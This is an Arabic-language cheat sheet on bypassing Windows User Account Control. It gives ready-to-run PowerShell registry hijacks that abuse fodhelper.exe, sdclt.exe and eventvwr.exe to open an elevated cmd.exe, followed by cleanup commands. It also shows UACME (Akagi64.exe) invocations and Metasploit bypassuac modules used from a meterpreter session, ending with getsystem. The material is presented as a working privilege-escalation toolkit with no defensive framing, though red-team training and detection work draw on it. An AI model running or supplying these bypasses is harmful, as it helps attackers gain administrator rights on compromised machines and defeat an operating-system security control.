تجاوز User Account Control للحصول على Elevated Shell


إيش هو UAC؟

# UAC = User Account Control — prompt قبل رفع الصلاحيات

# تحقق من مستوى UAC:
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
# 0 = Never Notify
# 1 = UAC Elevated
# 2 = Notify without Secure Desktop
# 5 = Default

# تحقق integrity level:
whoami /groups | findstr "Label"
# Medium = standard user
# High   = elevated
# System = SYSTEM

fodhelper.exe Bypass

# يشتغل على Windows 10
# fodhelper.exe = auto-elevated, reads registry key نتحكم فيه

New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value "cmd.exe" -Force
New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -Value "" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"
# cmd.exe يفتح elevated!

# بعدها — تنظيف:
Remove-Item -Path HKCU:\Software\Classes\ms-settings -Recurse -Force

sdclt.exe Bypass

New-Item -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Value "cmd.exe" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name DelegateExecute -Value "" -Force
Start-Process "sdclt.exe"

# تنظيف:
Remove-Item -Path "HKCU:\Software\Classes\Folder" -Recurse -Force

eventvwr.exe Bypass

# يشتغل على Windows 7/10
New-Item -Path HKCU:\Software\Classes\mscfile\shell\open\command -Value "cmd.exe" -Force
Start-Process "eventvwr.exe"

# تنظيف:
Remove-Item -Path HKCU:\Software\Classes\mscfile -Recurse -Force

UACME — مجموعة Bypasses

# https://github.com/hfiref0x/UACME
# 70+ طريقة bypass مختلفة

.\Akagi64.exe <method_number> cmd.exe

# أمثلة من Methods:
# 23 = eventvwr
# 33 = sdclt
# 41 = fodhelper
# 59 = schtasks
# 61 = WscActionUri

# مثال:
.\Akagi64.exe 41 C:\Windows\System32\cmd.exe
.\Akagi64.exe 41 "C:\temp\shell.exe"

Metasploit UAC Bypass

# بعد ما تحصل على meterpreter (medium integrity)
msf> use exploit/windows/local/bypassuac_fodhelper
set SESSION <session_id>
run

# أو:
msf> use exploit/windows/local/bypassuac_eventvwr

# تحقق بعد:
getuid
getsystem